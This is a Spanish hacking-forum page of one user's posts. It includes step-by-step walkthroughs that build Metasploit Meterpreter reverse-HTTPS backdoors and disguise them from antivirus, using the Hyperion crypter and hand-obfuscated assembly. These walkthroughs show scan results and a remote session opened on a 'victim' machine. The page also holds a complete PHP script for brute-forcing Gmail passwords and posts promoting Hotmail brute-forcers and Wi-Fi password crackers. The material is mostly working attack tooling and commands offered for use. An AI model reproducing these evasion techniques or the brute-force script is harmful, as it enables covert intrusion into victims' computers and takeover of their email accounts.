Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Aryenal.Bt

#121
Todos sabemos lo fácil que es inyectar un payload en un ejecutable mediante msfvenom (msfpayload + msfencoder)... y también lo fácil que es que el fichero resultante sea detectado por multitud de antivirus.

Utilizar un encoder de Metasploit no es la solución y, de hecho, a veces es mejor no usarlos o es indiferente. Nos encontramos entonces que tenemos que luchar contra la detección de firmas, la heurística y los sandboxes de los antivirus. No hay una técnica única, ni una mejor que otra, simplemente cualquiera es buena si conseguimos un bajo ratio de detección o un binario FUD.

El otro día revisamos la técnica de Assembly Ghost Writing y hoy vamos a ver el funcionamiento de un PE crypter bastante reciente denominado Hyperion.
Este crypter desarrollado por NullSecurity actua como un packer pero, en lugar de ofuscar el payload (scrambling) y encapsularlo con las instrucciones necesarias para desofuscarlo, Hyperion cifra el payload y lo encapsula con una clave AES débil la cual simplemente se rompe por fuerza bruta en tiempo de ejecución. ¿Ingenioso verdad?, vamos a ver su instalación, funcionamiento y resultado en una distribución BackTrack:

1. Descarga e instalación del crypter:

Código: text
root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
crypter.exe  Examples  Fasm  FasmAES-1.0  license.txt  Makefile  Obj  readme.txt  Src
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe


2. Creación del payload con Metasploit:

Código: text
root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 -f exe > payload.exe
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe


3. Cifrado con Hyperion:

Código: text
root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

root@bt:/home/pruebas/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115890
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5f076d
Generated Encryption Key: 0x3 0x0 0x3 0x3 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\home\pruebas\Hyperion-1.0

Executing fasm.exe

root@bt:/home/pruebas/Hyperion-1.0# flat assembler  version 1.69.31  (886317 kilobytes memory)
5 passes, 0.1 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -las *.exe
root@bt:/home/pruebas/Hyperion-1.0# ls -las *.exe
76 -rw-r--r-- 1 root root  73802 2012-11-14 08:46 payload.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
92 -rwxr-xr-x 1 root root  92672 2012-11-14 06:39 encrypted_payload.exe
76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe


4. Detección multi-AV:

File Info

Report date: 2012-11-14 15:57:54 (GMT 1)
File name: encrypted-payload-exe
File size: 92672 bytes
MD5 Hash: e52fa3edf724db47a629e6f422ff3395
SHA1 Hash: 4378caceebf0926fe24e7bae65daaa8aeefe962b
Detection rate: 5 on 14 (36% )
Status: INFECTED

Detections

Asquared - Trojan.Win32.Spy!IK
Avast -
AVG -
Avira - TR/Crypt.XPACK.Gen
BitDefender -
ClamAV -
Comodo -
DrWeb -
Fprot -
IkarusT3 - Trojan.Win32.Spy
Panda - Trj/Genetic.gen
STOPZilla -
TrendMicro - PAK_Generic.001
VBA32 -

Scan report generated by
NoVirusThanks.org


5. Ejecución de meterpreter:

Código: text
root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

_                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_https
LHOST => 192.168.249.128
LPORT => 443
[*] Started HTTPS reverse handler on https://192.168.249.128:443/
[*] Starting the payload handler...
[*] 192.168.249.1:54391 Request received for /cV3p...
[*] 192.168.249.1:54391 Staging connection for target /cV3p received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54391) at 2012-11-14 06:49:43 -0500

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > getid
[-] Unknown command: getid.
meterpreter > getuid
Server username: PANDORA\vmotos


Como véis, hemos conseguido que nuestro payload se ejecute sin ser detectado en la máquina de la víctima (con AV McAfee) obteniendo una sesión remota de Meterpreter.

En próximos artículos repasaremos otras técnicas para la evasión de antivirus como modding, firmas de ejecutables, avkillers, etc. Si conocéis alguna otra o queréis que veamos alguna antes en particular no dudéis en comentar la entrada.

Funte: hackplayers
#122
Hacking / Metagoofil GUI
Noviembre 14, 2012, 12:28:45 AM

Esta en una I. Grafica de Mettagoofil. les explico:
Metagoofil es una herramienta de recolección de información diseñada para la extracción de metadatos de documentos públicos (pdf, doc, xls, ppt, docx, pptx, xlsx) pertenecientes a una empresa objetivo.

Metagoofil realizará una búsqueda en Google para identificar y descargar los documentos en el disco local y luego extraer los metadatos de bibliotecas diferentes, como Hachoir, PdfMiner? y otros. Con los resultados se generará un informe con los nombres de usuario, versiones de software y servidores o nombres de máquinas que ayuda a los probadores de penetración en la fase de recopilación de información.

Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#123
Seguridad Wireless / Re:HackPack 1.5
Noviembre 12, 2012, 03:27:38 PM
dvdr muy buen aporte. pero recuerda que tienes que poner la fuente.
#124
Seguridad Wireless / hashcat
Noviembre 12, 2012, 03:22:45 PM
Caracteristicas:

-Supports all platforms used by hashcat (CPU, OpenCL, CUDA)
-Free
-Multi-OS (Linux & Windows native binaries)
-Multi-Platform (32-bit & 64-bit)

Rendimiento:


hashcat-gui


oclHashcat-plus

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Video: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Manual: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

IMPORTANTE
Conversor online de archivos .cap a .hccap
Convierte el archivo de captura .cap en un .hccap que puede ser leido por hashcat para GPU Cracking
Necesitas el .hccap para crackear con hashcat !!


Web: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#125
Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai.

El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.

El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.

En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:

1º Creamos el ejecutable malicioso en formato con msfpayload.

Código: text
root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw
binario.raw: data


2º Preparamos metasm (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login)

Código: text
root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2


3º Desensamblamos el fichero binario:

root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm

4º Ofuscamos manualmente el código, desde esto:

Código: text
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff


a esto:

Código: text
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch


y añadimos al principio del fichero:

Código: text
.section '.text' rwx
.entrypoint


5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:

Código: text
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe
carga.exe: MS-DOS executable, MZ for MS-DOS


6º Lanzamos la consola de Metasploit con el multi/handler:

Código: text
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

_                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443
[*] Starting the payload handler...


7º Y finalmente ejecutamos carga.exe en el equipo Windows:

Código: text
[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter >


Fuente: hackplayers
#126
Hacking / Re:Owasp Zed Attack Proxy - Matabarras
Noviembre 07, 2012, 12:30:18 AM
muy buena. Gracias por traerlo Matabarras
#127
se muy bueno Gracias Pr0ph3t.
lo pondré a prueba.
#128
Seguridad Wireless / Grimwepa
Noviembre 02, 2012, 12:18:23 PM

GRIM WEPA es una galleta de la contraseña de WEP y WPA-cifrados puntos de acceso (routers). Este programa utiliza las siguientes aplicaciones y suites:

- aircrack-ng suite:
- aircrack-ng, para romper WPA y WEP;
- airodump-ng para capturar los paquetes y encontrar puntos de acceso;
- airmon-ng, para enumerar los dispositivos en modo monitor;
- aireplay-ng, para forjar y reproducir paquetes; y packetforge-ng, para crear paquetes de repetición.
- iwconfig, para ver si los dispositivos están en modo monitor; xterm, para mostrar la salida al usuario;
- ifconfig, para obtener la dirección MAC de los dispositivos;
- macchanger, para cambiar la dirección MAC de las tarjetas wifi.

Estas aplicaciones son necesarias para GRIM WEPA para funcionar correctamente. Todas estas aplicaciones vienen de serie con BackTrack4.
Nota: la configuración y archivos de configuración para Wepa Grim se guarda en / etc / grimwepa.conf


Pag: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#129
una muy buena opción, Oggy
Saludos.
#130

Descripcion:

Las últimas soluciones de seguridad inalámbrica

Proteja sus sistemas inalámbricos de ataques paralizantes utilizando la seguridad de la información detallada en este volumen integral. Completamente actualizado para cubrir de hoy consagrados y emergentes tecnologías inalámbricas, Wireless Hacking Exposed, segunda edición revela cómo los atacantes utilizan herramientas disponibles y personalizados para atacar, infiltrarse, secuestrar y los sistemas vulnerables. Este libro analiza los últimos avances en Wi-Fi, Bluetooth, ZigBee y DECT hacking, y explica cómo llevar a cabo pruebas de penetración, reforzar los sistemas de protección WPA, mitigar el riesgo paquete de inyección, y bloquear los dispositivos Bluetooth y RF. Vanguardistas técnicas para la explotación de clientes Wi-Fi, WPA2, teléfonos inalámbricos, el emparejamiento Bluetooth, ZigBee y cifrado también están incluidos en esta guía completamente revisada.

Crear y configurar su red Wi-Fi arsenal ataque con el mejor hardware y herramientas de software
Explora debilidades comunes en redes WPA2 con los ojos de un atacante
Aproveche de compromiso posterior a los ataques de cliente remoto en Windows 7 y Mac OS X
Herramientas de Maestros de ataque para explotar los sistemas inalámbricos, incluyendo Aircrack-ng, coWPAtty, Pyrit, IPPON, FreeRADIUS WPE-, y el KillerBee todos los nuevos
Evalúe su amenaza a la actualización de software de ataques de suplantación en redes públicas
Evalúe su amenaza a los ataques de espionaje sobre Wi-Fi, Bluetooth, ZigBee y DECT redes utilizando herramientas comerciales y personalizados
Desarrollar habilidades avanzadas de aprovechamiento de radio definida por software y otros marcos flexibles
Aplicar las defensas integrales para proteger sus dispositivos inalámbricos e infraestructura

Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login?
Pagina: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#131
Hacking / nBrute Force v1.4.1 [Hotmail BruteForce]
Octubre 14, 2012, 02:14:29 PM
nBrute Force: Es una aplicación que testea contraseñas a una gran cantidad de correos electrónicos de Hotmail.

personalmente lo he testeado y puedo decir que no es una aplicacion de fuerza bruta para hotmail, ya que hotmail te bloquea la cuenta temporalmente al intentar colocar mas de 05 veces un password. es muy buena cuando se trata de testar algunas cotraseñas por lo menos 05 ya que esa es la cantidad maxima con la cual podemos jugar, para miles de correos.

aqui les dejo una captura de pantalla. la cual estoy corriendo la aplicacion y paralelamente aperturo el CMD con el comando netstat -b


Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pass: T-N-T
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Saludos.
#132
Back-end / Re:Mailer PHP HD_Breaker
Octubre 13, 2012, 02:09:25 PM
hdbreaker podrias resubir los archivos, los link's ya no estan disponibles.

Saludos.
#133
Back-end / Re:Gmail Brute Force v1.0 - Sec-w.com
Octubre 10, 2012, 03:20:36 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Entonces con esta aplicacion se podria hacer ataques de fuerza bruta en gmail?
si.
#134
Back-end / Gmail Brute Force v1.0 - Sec-w.com
Octubre 09, 2012, 11:44:24 PM
Últimamente estoy interesado en el tema de Fuerza Bruta a Correos Electrónicos,  el primero de mi lista es Gmail, así que he probado
algunas aplicaciones que realizan fuerza bruta como: Hydra, Brutus, Bruter entre otros.

Se sabe que Gmail solo te da 5 o 7 intentos para colocar tu passord, luego de eso te pide comprobaciones a través de códigos. así que de que
valdría hacer un ataque de Fuerza Bruta con un diccionario de 5 a 7 palabras por día (seria algo desesperante), pero aun no es el fin.
asi que para ese problema se podria utilizar cURL You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login con la cual los intentos de 5 a 7 para probar un posible password desaparecen.

Gmail Brute Force V1.0, Creada por s3n4t00r de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hace posible esto:



lo he testeado y va bien, pero como ya saben no todo es fácil, los correos de Gmail que están protegidos por la famosa seguridad de
2 o 3 pasos (no recuerdo bien XD) <la cual es o consiste en enviarte o llamarte y facilitarte un código de (06) dígitos al un numero de
celular para confirmar el acceso de la persona legitima>; No son blancos para esta aplicación.

asi que sin mas preambulos les dejo el codigo:

Código: php
<?php

/*

   author..............: s3n4t00r
   home................: sec-w.com
   Toolname............: Gmail Brute Force v1.0
   Demonstration ......: http://youtu.be/QdEvoJdENBY



*/
set_time_limit(0);

print_r ("

#---------------------------------------->
# ToolName      : Gmail Brute Force v1.0
#
# Programmed    : s3n4t00r
#
# Home          : Sec-w.com
#---------------------------------------->
\n\n");


if ($argc < 3)
{
            print "\nUsage......: php $argv[0] <mail> <list pass>\n";
            print "\nExample....: php $argv[0] [email protected] pass.txt \n";
            die();
}


function sws_gmail($mail,$pass){

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://mail.google.com/mail/feed/atom');
curl_setopt($ch, CURLOPT_USERPWD, $mail.':'.$pass);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
$result = curl_exec($ch);
$returnCode = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);

return $returnCode;
}

list($mail, $list,) = array($argv[1], $argv[2]);

$lists = file($list);

foreach ($lists as $pass){

         $gmail = sws_gmail($mail,trim($pass));
         echo "[+]Testing -> ".$pass."\n";
         if($gmail == '200'){

            echo "[+]Password Cracked -> ".$pass;
            die("\n");
         }
}

die("# Failed");

?>



Creditos: s3n4t00r

Saludos.

PD: si alguno de ustedes sabrían como mejorar el código, especialmente en la parte de rapidez en las comprobaciones
       de los password, seria algo genial.

Atte. Aryenal
#135
Fedora por mi esta bien, aunque yo prefiero el conocido BackTrack.

Saludos
#136
Hacking / Re:Fake hotmail (By Aryenal)
Septiembre 27, 2012, 05:09:38 PM
por que no pruebas con WinZip
#137
Hacking / Re:Routerpwn (Framework de exploits para routers)
Septiembre 24, 2012, 01:47:11 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y una pregunta....el router de yacom no estan no? esque me cambiaron la contraseña wp2...

tampoco esta. pero si te han cambiado la contraseña, todos los router's traen un pequeño botón para esos casos simplemente búscalo y apretalo por 5 segundos, y listo, el router queda con la configuracion de fabrica.

Saludos
#138
Ruby / Re:Ruby simple Downloader - Sanko
Septiembre 21, 2012, 10:19:48 PM
muchas gracias por compartir el codigo Sanko.
Saludos.
#139
Dudas y pedidos generales / Re:alguien que me ayude porfavor
Septiembre 18, 2012, 11:01:35 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
estan haci ennn el foro?

podrías ser mas especifico.
#140
Hacking / Re:ParameterFuzz v1.1
Septiembre 18, 2012, 04:16:17 PM
mil disculpas no lo habia visto, alguien que lo elimine pl